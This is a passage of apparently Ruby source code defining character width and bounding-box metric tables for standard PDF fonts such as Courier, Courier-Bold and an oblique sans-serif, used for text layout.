556, boundingbox: [207, 0, 508, 703] }, '2' => { wx: 556, boundingbox: [26, 0, 617, 703] }, '3' => { wx: 556, boundingbox: [75, -19, 610, 703] }, '4' => { wx: 556, boundingbox: [61, 0, 576, 703] }, '5' => { wx: 556, boundingbox: [68, -19, 621, 688] }, '6' => { wx: 556, boundingbox: [91, -19, 615, 703] }, '7' => { wx: 556, boundingbox: [137, 0, 669, 688] }, '8' => { wx: 556, boundingbox: [74, -19, 607, 703] }, '9' => { wx: 556, boundingbox: [82, -19, 609, 703] }, ':' => { wx: 278, boundingbox: [87, 0, 301, 516] }, ';' => { wx: 278, boundingbox: [56, -147, 301, 516] }, '<' => { wx: 584, boundingbox: [94, 11, 641, 495] }, '=' => { wx: 584, boundingbox: [63, 115, 628, 390] }, '>' => { wx: 584, boundingbox: [50, 11, 597, 495] }, '?' => { wx: 556, boundingbox: [161, 0, 610, 727] }, '@' => { wx: 1015, boundingbox: [215, -19, 965, 737] }, 'A' => { wx: 667, boundingbox: [14, 0, 654, 718] }, 'B' => { wx: 667, boundingbox: [74, 0, 712, 718] }, 'C' => { wx: 722, boundingbox: [108, -19, 782, 737] }, 'D' => { wx: 722, boundingbox: [81, 0, 764, 718] }, 'E' => { wx: 667, boundingbox: [86, 0, 762, 718] }, 'F' => { wx: 611, boundingbox: [86, 0, 736, 718] }, 'G' => { wx: 778, boundingbox: [111, -19, 799, 737] }, 'H' => { wx: 722, boundingbox: [77, 0, 799, 718] }, 'I' => { wx: 278, boundingbox: [91, 0, 341, 718] }, 'J' => { wx: 500, boundingbox: [47, -19, 581, 718] }, 'K' => { wx: 667, boundingbox: [76, 0, 808, 718] }, 'L' => { wx: 556, boundingbox: [76, 0, 555, 718] }, 'M' => { wx: 833, boundingbox: [73, 0, 914, 718] }, 'N' => { wx: 722, boundingbox: [76, 0, 799, 718] }, 'O' => { wx: 778, boundingbox: [105, -19, 826, 737] }, 'P' => { wx: 667, boundingbox: [86, 0, 737, 718] }, 'Q' => { wx: 778, boundingbox: [105, -56, 826, 737] }, 'R' => { wx: 722, boundingbox: [88, 0, 773, 718] }, 'S' => { wx: 667, boundingbox: [90, -19, 713, 737] }, 'T' => { wx: 611, boundingbox: [148, 0, 750, 718] }, 'U' => { wx: 722, boundingbox: [123, -19, 797, 718] }, 'V' => { wx: 667, boundingbox: [173, 0, 800, 718] }, 'W' => { wx: 944, boundingbox: [169, 0, 1081, 718] }, 'X' => { wx: 667, boundingbox: [19, 0, 790, 718] }, 'Y' => { wx: 667, boundingbox: [167, 0, 806, 718] }, 'Z' => { wx: 611, boundingbox: [23, 0, 741, 718] }, '[' => { wx: 278, boundingbox: [21, -196, 403, 722] }, '\\\\' => { wx: 278, boundingbox: [140, -19, 291, 737] }, ']' => { wx: 278, boundingbox: [-14, -196, 368, 722] }, '^' => { wx: 469, boundingbox: [42, 264, 539, 688] }, '_' => { wx: 556, boundingbox: [-27, -125, 540, -75] }, '`' => { wx: 222, boundingbox: [165, 470, 323, 725] }, 'a' => { wx: 556, boundingbox: [61, -15, 559, 538] }, 'b' => { wx: 556, boundingbox: [58, -15, 584, 718] }, 'c' => { wx: 500, boundingbox: [74, -15, 553, 538] }, 'd' => { wx: 556, boundingbox: [84, -15, 652, 718] }, 'e' => { wx: 556, boundingbox: [84, -15, 578, 538] }, 'f' => { wx: 278, boundingbox: [86, 0, 416, 728] }, 'g' => { wx: 556, boundingbox: [42, -220, 610, 538] }, 'h' => { wx: 556, boundingbox: [65, 0, 573, 718] }, 'i' => { wx: 222, boundingbox: [67, 0, 308, 718] }, 'j' => { wx: 222, boundingbox: [-60, -210, 308, 718] }, 'k' => { wx: 500, boundingbox: [67, 0, 600, 718] }, 'l' => { wx: 222, boundingbox: [67, 0, 308, 718] }, 'm' => { wx: 833, boundingbox: [65, 0, 852, 538] }, 'n' => { wx: 556, boundingbox: [65, 0, 573, 538] }, 'o' => { wx: 556, boundingbox: [83, -14, 585, 538] }, 'p' => { wx: 556, boundingbox: [14, -207, 584, 538] }, 'q' => { wx: 556, boundingbox: [84, -207, 605, 538] }, 'r' => { wx: 333, boundingbox: [77, 0, 446, 538] }, 's' => { wx: 500, boundingbox: [63, -15, 529, 538] }, 't' => { wx: 278, boundingbox: [102, -7, 368, 669] }, 'u' => { wx: 556, boundingbox: [94, -15, 600, 523] }, 'v' => { wx: 500, boundingbox: [119, 0, 603, 523] }, 'w' => { wx: 722, boundingbox: [125, 0, 820, 523] }, 'x' => { wx: 500, boundingbox: [11, 0, 594, 523] }, 'y' => { wx: 500, boundingbox: [15, -214, 600, 523] }, 'z' => { wx: 500, boundingbox: [31, 0, 571, 523] }, '{' => { wx: 334, boundingbox: [92, -196, 445, 722] }, '|' => { wx: 260, boundingbox: [46, -225, 332, 775] }, '}' => { wx: 334, boundingbox: [0, -196, 354, 722] }, '~' => { wx: 584, boundingbox: [111, 180, 580, 326] }, \"\\u00A1\" => { wx: 333, boundingbox: [77, -195, 326, 523] }, \"\\u00A2\" => { wx: 556, boundingbox: [95, -115, 584, 623] }, \"\\u00A3\" => { wx: 556, boundingbox: [49, -16, 634, 718] }, \"\\u00A4\" => { wx: 167, boundingbox: [-170, -19, 482, 703] }, \"\\u00A5\" => { wx: 556, boundingbox: [81, 0, 699, 688] }, \"\\u00A6\" => { wx: 556, boundingbox: [-52, -207, 654, 737] }, \"\\u00A7\" => { wx: 556, boundingbox: [76, -191, 584, 737] }, \"\\u00A8\" => { wx: 556, boundingbox: [60, 99, 646, 603] }, \"\\u00A9\" => { wx: 191, boundingbox: [157, 463, 285, 718] }, \"\\u00AA\" => { wx: 333, boundingbox: [138, 470, 461, 725] }, \"\\u00AB\" => { wx: 556, boundingbox: [146, 108, 554, 446] }, \"\\u00AC\" => { wx: 333, boundingbox: [137, 108, 340, 446] }, \"\\u00AD\" => { wx: 333, boundingbox: [111, 108, 314, 446] }, \"\\u00AE\" => { wx: 500, boundingbox: [86, 0, 587, 728] }, \"\\u00AF\" => { wx: 500, boundingbox: [86, 0, 585, 728] }, \"\\u00B1\" => { wx: 556, boundingbox: [51, 240, 623, 313] }, \"\\u00B2\" => { wx: 556, boundingbox: [135, -159, 622, 718] }, \"\\u00B3\" => { wx: 556, boundingbox: [52, -159, 623, 718] }, \"\\u00B4\" => { wx: 278, boundingbox: [129, 190, 257, 315] }, \"\\u00B6\" => { wx: 537, boundingbox: [126, -173, 650, 718] }, \"\\u00B7\" => { wx: 350, boundingbox: [91, 202, 413, 517] }, \"\\u00B8\" => { wx: 222, boundingbox: [21, -149, 180, 106] }, \"\\u00B9\" => { wx: 333, boundingbox: [-6, -149, 318, 106] }, \"\\u00BA\" => { wx: 333, boundingbox: [124, 463, 448, 718] }, \"\\u00BB\" => { wx: 556, boundingbox: [120, 108, 528, 446] }, \"\\u00BC\" => { wx: 1000, boundingbox: [115, 0, 908, 106] }, \"\\u00BD\" => { wx: 1000, boundingbox: [88, -19, 1029, 703] }, \"\\u00BF\" => { wx: 611, boundingbox: [85, -201, 534, 525] }, \"\\u00C1\" => { wx: 333, boundingbox: [170, 593, 337, 734] }, \"\\u00C2\" => { wx: 333, boundingbox: [248, 593, 475, 734] }, \"\\u00C3\" => { wx: 333, boundingbox: [147, 593, 438, 734] }, \"\\u00C4\" => { wx: 333, boundingbox: [125, 606, 490, 722] }, \"\\u00C5\" => { wx: 333, boundingbox: [143, 627, 468, 684] }, \"\\u00C6\" => { wx: 333, boundingbox: [167, 595, 476, 731] }, \"\\u00C7\" => { wx: 333, boundingbox: [249, 604, 362, 706] }, \"\\u00C8\" => { wx: 333, boundingbox: [168, 604, 443, 706] }, \"\\u00CA\" => { wx: 333, boundingbox: [214, 572, 402, 756] }, \"\\u00CB\" => { wx: 333, boundingbox: [2, -225, 232, 0] }, \"\\u00CD\" => { wx: 333, boundingbox: [157, 593, 565, 734] }, \"\\u00CE\" => { wx: 333, boundingbox: [43, -225, 249, 0] }, \"\\u00CF\" => { wx: 333, boundingbox: [177, 593, 468, 734] }, \"\\u00D0\" => { wx: 1000, boundingbox: [51, 240, 1067, 313] }, \"\\u00E1\" => { wx: 1000, boundingbox: [8, 0, 1097, 718] }, \"\\u00E3\" => { wx: 370, boundingbox: [127, 405, 449, 737] }, \"\\u00E8\" => { wx: 556, boundingbox: [41, 0, 555, 718] }, \"\\u00E9\" => { wx: 778, boundingbox: [43, -19, 890, 737] }, \"\\u00EA\" => { wx: 1000, boundingbox: [98, -19, 1116, 737] }, \"\\u00EB\" => { wx: 365, boundingbox: [141, 405, 468, 737] }, \"\\u00F1\" => { wx: 889, boundingbox: [61, -15, 909, 538] }, \"\\u00F5\" => { wx: 278, boundingbox: [95, 0, 294, 523] }, \"\\u00F8\" => { wx: 222, boundingbox: [41, 0, 347, 718] }, \"\\u00F9\" => { wx: 611, boundingbox: [29, -22, 647, 545] }, \"\\u00FA\" => { wx: 944, boundingbox: [83, -15, 964, 538] }, \"\\u00FB\" => { wx: 611, boundingbox: [67, -15, 658, 728] }, \"\\xFF\" => { wx: 556, boundingbox: [0, 0, 0, 0] } }\n courier_metrics = { ' ' => { wx: 600, boundingbox: [0, 0, 0, 0] }, '!' => { wx: 600, boundingbox: [236, -15, 364, 572] }, '\"' => { wx: 600, boundingbox: [187, 328, 413, 562] }, '#' => { wx: 600, boundingbox: [93, -32, 507, 639] }, '$' => { wx: 600, boundingbox: [105, -126, 496, 662] }, '%' => { wx: 600, boundingbox: [81, -15, 518, 622] }, '&' => { wx: 600, boundingbox: [63, -15, 538, 543] }, \"'\" => { wx: 600, boundingbox: [213, 328, 376, 562] }, '(' => { wx: 600, boundingbox: [269, -108, 440, 622] }, ')' => { wx: 600, boundingbox: [160, -108, 331, 622] }, '*' => { wx: 600, boundingbox: [116, 257, 484, 607] }, '+' => { wx: 600, boundingbox: [80, 44, 520, 470] }, ',' => { wx: 600, boundingbox: [181, -112, 344, 122] }, '-' => { wx: 600, boundingbox: [103, 231, 497, 285] }, '.' => { wx: 600, boundingbox: [229, -15, 371, 109] }, '/' => { wx: 600, boundingbox: [125, -80, 475, 629] }, '0' => { wx: 600, boundingbox: [106, -15, 494, 622] }, '1' => { wx: 600, boundingbox: [96, 0, 505, 622] }, '2' => { wx: 600, boundingbox: [70, 0, 471, 622] }, '3' => { wx: 600, boundingbox: [75, -15, 466, 622] }, '4' => { wx: 600, boundingbox: [78, 0, 500, 622] }, '5' => { wx: 600, boundingbox: [92, -15, 497, 607] }, '6' => { wx: 600, boundingbox: [111, -15, 497, 622] }, '7' => { wx: 600, boundingbox: [82, 0, 483, 607] }, '8' => { wx: 600, boundingbox: [102, -15, 498, 622] }, '9' => { wx: 600, boundingbox: [96, -15, 489, 622] }, ':' => { wx: 600, boundingbox: [229, -15, 371, 385] }, ';' => { wx: 600, boundingbox: [181, -112, 371, 385] }, '<' => { wx: 600, boundingbox: [41, 42, 519, 472] }, '=' => { wx: 600, boundingbox: [80, 138, 520, 376] }, '>' => { wx: 600, boundingbox: [66, 42, 544, 472] }, '?' => { wx: 600, boundingbox: [129, -15, 492, 572] }, '@' => { wx: 600, boundingbox: [77, -15, 533, 622] }, 'A' => { wx: 600, boundingbox: [3, 0, 597, 562] }, 'B' => { wx: 600, boundingbox: [43, 0, 559, 562] }, 'C' => { wx: 600, boundingbox: [41, -18, 540, 580] }, 'D' => { wx: 600, boundingbox: [43, 0, 574, 562] }, 'E' => { wx: 600, boundingbox: [53, 0, 550, 562] }, 'F' => { wx: 600, boundingbox: [53, 0, 545, 562] }, 'G' => { wx: 600, boundingbox: [31, -18, 575, 580] }, 'H' => { wx: 600, boundingbox: [32, 0, 568, 562] }, 'I' => { wx: 600, boundingbox: [96, 0, 504, 562] }, 'J' => { wx: 600, boundingbox: [34, -18, 566, 562] }, 'K' => { wx: 600, boundingbox: [38, 0, 582, 562] }, 'L' => { wx: 600, boundingbox: [47, 0, 554, 562] }, 'M' => { wx: 600, boundingbox: [4, 0, 596, 562] }, 'N' => { wx: 600, boundingbox: [7, -13, 593, 562] }, 'O' => { wx: 600, boundingbox: [43, -18, 557, 580] }, 'P' => { wx: 600, boundingbox: [79, 0, 558, 562] }, 'Q' => { wx: 600, boundingbox: [43, -138, 557, 580] }, 'R' => { wx: 600, boundingbox: [38, 0, 588, 562] }, 'S' => { wx: 600, boundingbox: [72, -20, 529, 580] }, 'T' => { wx: 600, boundingbox: [38, 0, 563, 562] }, 'U' => { wx: 600, boundingbox: [17, -18, 583, 562] }, 'V' => { wx: 600, boundingbox: [-4, -13, 604, 562] }, 'W' => { wx: 600, boundingbox: [-3, -13, 603, 562] }, 'X' => { wx: 600, boundingbox: [23, 0, 577, 562] }, 'Y' => { wx: 600, boundingbox: [24, 0, 576, 562] }, 'Z' => { wx: 600, boundingbox: [86, 0, 514, 562] }, '[' => { wx: 600, boundingbox: [269, -108, 442, 622] }, '\\\\' => { wx: 600, boundingbox: [118, -80, 482, 629] }, ']' => { wx: 600, boundingbox: [158, -108, 331, 622] }, '^' => { wx: 600, boundingbox: [94, 354, 506, 622] }, '_' => { wx: 600, boundingbox: [0, -125, 600, -75] }, '`' => { wx: 600, boundingbox: [224, 328, 387, 562] }, 'a' => { wx: 600, boundingbox: [53, -15, 559, 441] }, 'b' => { wx: 600, boundingbox: [14, -15, 575, 629] }, 'c' => { wx: 600, boundingbox: [66, -15, 529, 441] }, 'd' => { wx: 600, boundingbox: [45, -15, 591, 629] }, 'e' => { wx: 600, boundingbox: [66, -15, 548, 441] }, 'f' => { wx: 600, boundingbox: [114, 0, 531, 629] }, 'g' => { wx: 600, boundingbox: [45, -157, 566, 441] }, 'h' => { wx: 600, boundingbox: [18, 0, 582, 629] }, 'i' => { wx: 600, boundingbox: [95, 0, 505, 657] }, 'j' => { wx: 600, boundingbox: [82, -157, 410, 657] }, 'k' => { wx: 600, boundingbox: [43, 0, 580, 629] }, 'l' => { wx: 600, boundingbox: [95, 0, 505, 629] }, 'm' => { wx: 600, boundingbox: [-5, 0, 605, 441] }, 'n' => { wx: 600, boundingbox: [26, 0, 575, 441] }, 'o' => { wx: 600, boundingbox: [62, -15, 538, 441] }, 'p' => { wx: 600, boundingbox: [9, -157, 555, 441] }, 'q' => { wx: 600, boundingbox: [45, -157, 591, 441] }, 'r' => { wx: 600, boundingbox: [60, 0, 559, 441] }, 's' => { wx: 600, boundingbox: [80, -15, 513, 441] }, 't' => { wx: 600, boundingbox: [87, -15, 530, 561] }, 'u' => { wx: 600, boundingbox: [21, -15, 562, 426] }, 'v' => { wx: 600, boundingbox: [10, -10, 590, 426] }, 'w' => { wx: 600, boundingbox: [-4, -10, 604, 426] }, 'x' => { wx: 600, boundingbox: [20, 0, 580, 426] }, 'y' => { wx: 600, boundingbox: [7, -157, 592, 426] }, 'z' => { wx: 600, boundingbox: [99, 0, 502, 426] }, '{' => { wx: 600, boundingbox: [182, -108, 437, 622] }, '|' => { wx: 600, boundingbox: [275, -250, 326, 750] }, '}' => { wx: 600, boundingbox: [163, -108, 418, 622] }, '~' => { wx: 600, boundingbox: [63, 197, 540, 320] }, \"\\u00A1\" => { wx: 600, boundingbox: [236, -157, 364, 430] }, \"\\u00A2\" => { wx: 600, boundingbox: [96, -49, 500, 614] }, \"\\u00A3\" => { wx: 600, boundingbox: [84, -21, 521, 611] }, \"\\u00A4\" => { wx: 600, boundingbox: [92, -57, 509, 665] }, \"\\u00A5\" => { wx: 600, boundingbox: [26, 0, 574, 562] }, \"\\u00A6\" => { wx: 600, boundingbox: [4, -143, 539, 622] }, \"\\u00A7\" => { wx: 600, boundingbox: [113, -78, 488, 580] }, \"\\u00A8\" => { wx: 600, boundingbox: [73, 58, 527, 506] }, \"\\u00A9\" => { wx: 600, boundingbox: [259, 328, 341, 562] }, \"\\u00AA\" => { wx: 600, boundingbox: [143, 328, 471, 562] }, \"\\u00AB\" => { wx: 600, boundingbox: [37, 70, 563, 446] }, \"\\u00AC\" => { wx: 600, boundingbox: [149, 70, 451, 446] }, \"\\u00AD\" => { wx: 600, boundingbox: [149, 70, 451, 446] }, \"\\u00AE\" => { wx: 600, boundingbox: [3, 0, 597, 629] }, \"\\u00AF\" => { wx: 600, boundingbox: [3, 0, 597, 629] }, \"\\u00B1\" => { wx: 600, boundingbox: [75, 231, 525, 285] }, \"\\u00B2\" => { wx: 600, boundingbox: [141, -78, 459, 580] }, \"\\u00B3\" => { wx: 600, boundingbox: [141, -78, 459, 580] }, \"\\u00B4\" => { wx: 600, boundingbox: [222, 189, 378, 327] }, \"\\u00B6\" => { wx: 600, boundingbox: [50, -78, 511, 562] }, \"\\u00B7\" => { wx: 600, boundingbox: [172, 130, 428, 383] }, \"\\u00B8\" => { wx: 600, boundingbox: [213, -134, 376, 100] }, \"\\u00B9\" => { wx: 600, boundingbox: [143, -134, 457, 100] }, \"\\u00BA\" => { wx: 600, boundingbox: [143, 328, 457, 562] }, \"\\u00BB\" => { wx: 600, boundingbox: [37, 70, 563, 446] }, \"\\u00BC\" => { wx: 600, boundingbox: [37, -15, 563, 111] }, \"\\u00BD\" => { wx: 600, boundingbox: [3, -15, 600, 622] }, \"\\u00BF\" => { wx: 600, boundingbox: [108, -157, 471, 430] }, \"\\u00C1\" => { wx: 600, boundingbox: [151, 497, 378, 672] }, \"\\u00C2\" => { wx: 600, boundingbox: [242, 497, 469, 672] }, \"\\u00C3\" => { wx: 600, boundingbox: [124, 477, 476, 654] }, \"\\u00C4\" => { wx: 600, boundingbox: [105, 489, 503, 606] }, \"\\u00C5\" => { wx: 600, boundingbox: [120, 525, 480, 565] }, \"\\u00C6\" => { wx: 600, boundingbox: [153, 501, 447, 609] }, \"\\u00C7\" => { wx: 600, boundingbox: [249, 537, 352, 640] }, \"\\u00C8\" => { wx: 600, boundingbox: [148, 537, 453, 640] }, \"\\u00CA\" => { wx: 600, boundingbox: [218, 463, 382, 627] }, \"\\u00CB\" => { wx: 600, boundingbox: [224, -151, 362, 10] }, \"\\u00CD\" => { wx: 600, boundingbox: [133, 497, 540, 672] }, \"\\u00CE\" => { wx: 600, boundingbox: [211, -172, 407, 4] }, \"\\u00CF\" => { wx: 600, boundingbox: [124, 492, 476, 669] }, \"\\u00D0\" => { wx: 600, boundingbox: [0, 231, 600, 285] }, \"\\u00E1\" => { wx: 600, boundingbox: [3, 0, 550, 562] }, \"\\u00E3\" => { wx: 600, boundingbox: [156, 249, 442, 580] }, \"\\u00E8\" => { wx: 600, boundingbox: [47, 0, 554, 562] }, \"\\u00E9\" => { wx: 600, boundingbox: [43, -80, 557, 629] }, \"\\u00EA\" => { wx: 600, boundingbox: [7, 0, 567, 562] }, \"\\u00EB\" => { wx: 600, boundingbox: [157, 249, 443, 580] }, \"\\u00F1\" => { wx: 600, boundingbox: [19, -15, 570, 441] }, \"\\u00F5\" => { wx: 600, boundingbox: [95, 0, 505, 426] }, \"\\u00F8\" => { wx: 600, boundingbox: [95, 0, 505, 629] }, \"\\u00F9\" => { wx: 600, boundingbox: [62, -80, 538, 506] }, \"\\u00FA\" => { wx: 600, boundingbox: [19, -15, 559, 441] }, \"\\u00FB\" => { wx: 600, boundingbox: [48, -15, 588, 629] }, \"\\xFF\" => { wx: 600, boundingbox: [0, 0, 0, 0] } }\n courier_bold_metrics = { ' ' => { wx: 600, boundingbox: [0, 0, 0, 0] }, '!' => { wx: 600, boundingbox: [202, -15, 398, 572] }, '\"' => { wx: 600, boundingbox: [135, 277, 465, 562] }, '#' => { wx: 600, boundingbox: [56, -45, 544, 651] }, '$' => { wx: 600, boundingbox: [82, -126, 519, 666] }, '%' => { wx: 600, boundingbox: [5, -15, 595, 616] }, '&' => { wx: 600, boundingbox: [36, -15, 546, 543] }, \"'\" => { wx: 600, boundingbox: [171, 277, 423, 562] }, '(' => { wx: 600, boundingbox: [219, -102, 461, 616] }, ')' => { wx: 600, boundingbox: [139, -102, 381, 616] }, '*' => { wx: 600, boundingbox: [91, 219, 509, 601] }, '+' => { wx: 600, boundingbox: [71, 39, 529, 478] }, ',' => { wx: 600, boundingbox: [123, -111, 393, 174] }, '-' => { wx: 600, boundingbox: [100, 203, 500, 313] }, '.' => { wx: 600, boundingbox: [192, -15, 408, 171] }, '/' => { wx: 600, boundingbox: [98, -77, 502, 626] }, '0' => { wx: 600, boundingbox: [87, -15, 513, 616] }, '1' => { wx: 600, boundingbox: [81, 0, 539, 616] }, '2' => { wx: 600, boundingbox: [61, 0, 499, 616] }, '3' => { wx: 600, boundingbox: [63, -15, 501, 616] }, '4' => { wx: 600, boundingbox: [53, 0, 507, 616] }, '5' => { wx: 600, boundingbox: [70, -15, 521, 601] }, '6' => { wx: 600, boundingbox: [90, -15, 521, 616] }, '7' => { wx: 600, boundingbox: [55, 0, 494, 601] }, '8' => { wx: 600, boundingbox: [83, -15, 517, 616] }, '9' => { wx: 600, boundingbox: [79, -15, 510, 616] }, ':' => { wx: 600, boundingbox: [191, -15, 407, 425] }, ';' => { wx: 600, boundingbox: [123, -111, 408, 425] }, '<' => { wx: 600, boundingbox: [66, 15, 523, 501] }, '=' => { wx: 600, boundingbox: [71, 118, 529, 398] }, '>' => { wx: 600, boundingbox: [77, 15, 534, 501] }, '?' => { wx: 600, boundingbox: [98, -14, 501, 580] }, '@' => { wx: 600, boundingbox: [16, -15, 584, 616] }, 'A' => { wx: 600, boundingbox: [-9, 0, 609, 562] }, 'B' => { wx: 600, boundingbox: [30, 0, 573, 562] }, 'C' => { wx: 600, boundingbox: [22, -18, 560, 580] }, 'D' => { wx: 600, boundingbox: [30, 0, 594, 562] }, 'E' => { wx: 600, boundingbox: [25, 0, 560, 562] }, 'F' => { wx: 600, boundingbox: [39, 0, 570, 562] }, 'G' => { wx: 600, boundingbox: [22, -18, 594, 580] }, 'H' => { wx: 600, boundingbox: [20, 0, 580, 562] }, 'I' => { wx: 600, boundingbox: [77, 0, 523, 562] }, 'J' => { wx: 600, boundingbox: [37, -18, 601, 562] }, 'K' => { wx: 600, boundingbox: [21, 0, 599, 562] }, 'L' => { wx: 600, boundingbox: [39, 0, 578, 562] }, 'M' => { wx: 600, boundingbox: [-2, 0, 602, 562] }, 'N' => { wx: 600, boundingbox: [8, -12, 610, 562] }, 'O' => { wx: 600, boundingbox: [22, -18, 578, 580] }, 'P' => { wx: 600, boundingbox: [48, 0, 559, 562] }, 'Q' => { wx: 600, boundingbox: [32, -138, 578, 580] }, 'R' => { wx: 600, boundingbox: [24, 0, 599, 562] }, 'S' => { wx: 600, boundingbox: [47, -22, 553, 582] }, 'T' => { wx: 600, boundingbox: [21, 0, 579, 562] }, 'U' => { wx: 600, boundingbox: [4, -18, 596, 562] }, 'V' => { wx: 600, boundingbox: [-13, 0, 613, 562] }, 'W' => { wx: 600, boundingbox: [-18, 0, 618, 562] }, 'X' => { wx: 600, boundingbox: [12, 0, 588, 562] }, 'Y' => { wx: 600, boundingbox: [12, 0, 589, 562] }, 'Z' => { wx: 600, boundingbox: [62, 0, 539, 562] }, '[' => { wx: 600, boundingbox: [245, -102, 475, 616] }, '\\\\' => { wx: 600, boundingbox: [99, -77, 503, 626] }, ']' => { wx: 600, boundingbox: [125, -102, 355, 616] }, '^' => { wx: 600, boundingbox: [108, 250, 492, 616] }, '_' => { wx: 600, boundingbox: [0, -125, 600, -75] }, '`' => { wx: 600, boundingbox: [178, 277, 428, 562] }, 'a' => { wx: 600, boundingbox: [35, -15, 570, 454] }, 'b' => { wx: 600, boundingbox: [0, -15, 584, 626] }, 'c' => { wx: 600, boundingbox: [40, -15, 545, 459] }, 'd' => { wx: 600, boundingbox: [20, -15, 591, 626] }, 'e' => { wx: 600, boundingbox: [40, -15, 563, 454] }, 'f' => { wx: 600, boundingbox: [83, 0, 547, 626] }, 'g' => { wx: 600, boundingbox: [30, -146, 580, 454] }, 'h' => { wx: 600, boundingbox: [5, 0, 592, 626] }, 'i' => { wx: 600, boundingbox: [77, 0, 523, 658] }, 'j' => { wx: 600, boundingbox: [63, -146, 440, 658] }, 'k' => { wx: 600, boundingbox: [20, 0, 585, 626] }, 'l' => { wx: 600, boundingbox: [77, 0, 523, 626] }, 'm' => { wx: 600, boundingbox: [-22, 0, 626, 454] }, 'n' => { wx: 600, boundingbox: [18, 0, 592, 454] }, 'o' => { wx: 600, boundingbox: [30, -15, 570, 454] }, 'p' => { wx: 600, boundingbox: [-1, -142, 570, 454] }, 'q' => { wx: 600, boundingbox: [20, -142, 591, 454] }, 'r' => { wx: 600, boundingbox: [47, 0, 580, 454] }, 's' => { wx: 600, boundingbox: [68, -17, 535, 459] }, 't' => { wx: 600, boundingbox: [47, -15, 532, 562] }, 'u' => { wx: 600, boundingbox: [-1, -15, 569, 439] }, 'v' => { wx: 600, boundingbox: [-1, 0, 601, 439] }, 'w' => { wx: 600, boundingbox: [-18, 0, 618, 439] }, 'x' => { wx: 600, boundingbox: [6, 0, 594, 439] }, 'y' => { wx: 600, boundingbox: [-4, -142, 601, 439] }, 'z' => { wx: 600, boundingbox: [81, 0, 520, 439] }, '{' => { wx: 600, boundingbox: [160, -102, 464, 616] }, '|' => { wx: 600, boundingbox: [255, -250, 345, 750] }, '}' => { wx: 600, boundingbox: [136, -102, 440, 616] }, '~' => { wx: 600, boundingbox: [71, 153, 530, 356] }, \"\\u00A1\" => { wx: 600, boundingbox: [202, -146, 398, 449] }, \"\\u00A2\" => { wx: 600, boundingbox: [66, -49, 518, 614] }, \"\\u00A3\" => { wx: 600, boundingbox: [72, -28, 558, 611] }, \"\\u00A4\" => { wx: 600, boundingbox: [25, -60, 576, 661] }, \"\\u00A5\" => { wx: 600, boundingbox: [10, 0, 590, 562] }, \"\\u00A6\" => { wx: 600, boundingbox: [-30, -131, 572, 616] }, \"\\u00A7\" => { wx: 600, boundingbox: [83, -70, 517, 580] }, \"\\u00A8\" => { wx: 600, boundingbox: [54, 49, 546, 517] }, \"\\u00A9\" => { wx: 600, boundingbox: [227, 277, 373, 562] }, \"\\u00AA\" => { wx: 600, boundingbox: [71, 277, 535, 562] }, \"\\u00AB\" => { wx: 600, boundingbox: [8, 70, 553, 446] }, \"\\u00AC\" => { wx: 600, boundingbox: [141, 70, 459, 446] }, \"\\u00AD\" => { wx: 600, boundingbox: [141, 70, 459, 446] }, \"\\u00AE\" => { wx: 600, boundingbox: [12, 0, 593, 626] }, \"\\u00AF\" => { wx: 600, boundingbox: [12, 0, 593, 626] }, \"\\u00B1\" => { wx: 600, boundingbox: [65, 203, 535, 313] }, \"\\u00B2\" => { wx: 600, boundingbox: [106, -70, 494, 580] }, \"\\u00B3\" => { wx: 600, boundingbox: [106, -70, 494, 580] }, \"\\u00B4\" => { wx: 600, boundingbox: [196, 165, 404, 351] }, \"\\u00B6\" => { wx: 600, boundingbox: [6, -70, 576, 580] }, \"\\u00B7\" => { wx: 600, boundingbox: [140, 132, 460, 430] }, \"\\u00B8\" => { wx: 600, boundingbox: [175, -142, 427, 143] }, \"\\u00B9\" => { wx: 600, boundingbox: [65, -142, 529, 143] }, \"\\u00BA\" => { wx: 600, boundingbox: [61, 277, 525, 562] }, \"\\u00BB\" => { wx: 600, boundingbox: [47, 70, 592, 446] }, \"\\u00BC\" => { wx: 600, boundingbox: [26, -15, 574, 116] }, \"\\u00BD\" => { wx: 600, boundingbox: [-113, -15, 713, 616] }, \"\\u00BF\" => { wx: 600, boundingbox: [99, -146, 502, 449] }, \"\\u00C1\" => { wx: 600, boundingbox: [132, 508, 395, 661] }, \"\\u00C2\" => { wx: 600, boundingbox: [205, 508, 468, 661] }, \"\\u00C3\" => { wx: 600, boundingbox: [103, 483, 497, 657] }, \"\\u00C4\" => { wx: 600, boundingbox: [89, 493, 512, 636] }, \"\\u00C5\" => { wx: 600, boundingbox: [88, 505, 512, 585] }, \"\\u00C6\" => { wx: 600, boundingbox: [83, 468, 517, 631] }, \"\\u00C7\" => { wx: 600, boundingbox: [230, 498, 370, 638] }, \"\\u00C8\" => { wx: 600, boundingbox: [128, 498, 472, 638] }, \"\\u00CA\" => { wx: 600, boundingbox: [198, 481, 402, 678] }, \"\\u00CB\" => { wx: 600, boundingbox: [205, -206, 387, 0] }, \"\\u00CD\" => { wx: 600, boundingbox: [68, 488, 588, 661] }, \"\\u00CE\" => { wx: 600, boundingbox: [169, -199, 400, 0] }, \"\\u00CF\" => { wx: 600, boundingbox: [103, 493, 497, 667] }, \"\\u00D0\" => { wx: 600, boundingbox: [-10, 203, 610, 313] }, \"\\u00E1\" => { wx: 600, boundingbox: [-29, 0, 602, 562] }, \"\\u00E3\" => { wx: 600, boundingbox: [147, 196, 453, 580] }, \"\\u00E8\" => { wx: 600, boundingbox: [39, 0, 578, 562] }, \"\\u00E9\" => { wx: 600, boundingbox: [22, -22, 578, 584] }, \"\\u00EA\" => { wx: 600, boundingbox: [-25, 0, 595, 562] }, \"\\u00EB\" => { wx: 600, boundingbox: [147, 196, 453, 580] }, \"\\u00F1\" => { wx: 600, boundingbox: [-4, -15, 601, 454] }, \"\\u00F5\" => { wx: 600, boundingbox: [77, 0, 523, 439] }, \"\\u00F8\" => { wx: 600, boundingbox: [77, 0, 523, 626] }, \"\\u00F9\" => { wx: 600, boundingbox: [30, -24, 570, 463] }, \"\\u00FA\" => { wx: 600, boundingbox: [-18, -15, 611, 454] }, \"\\u00FB\" => { wx: 600, boundingbox: [22, -15, 596, 626] }, \"\\xFF\" => { wx: 600, boundingbox: [0, 0, 0, 0] } }\n courier_oblique_metrics = { ' ' => { wx: 600, boundingbox: [0, 0, 0, 0] }, '!' => { wx: 600, boundingbox: [243, -15, 464, 572] }, '\"' => { wx: 600, boundingbox: [273, 328, 532, 562] }, '#' => { wx: 600, boundingbox: [133, -32, 596, 639] }, '$' => { wx: 600, boundingbox: [108, -126, 596, 662] }, '%' => { wx: 600, boundingbox: [134, -15, 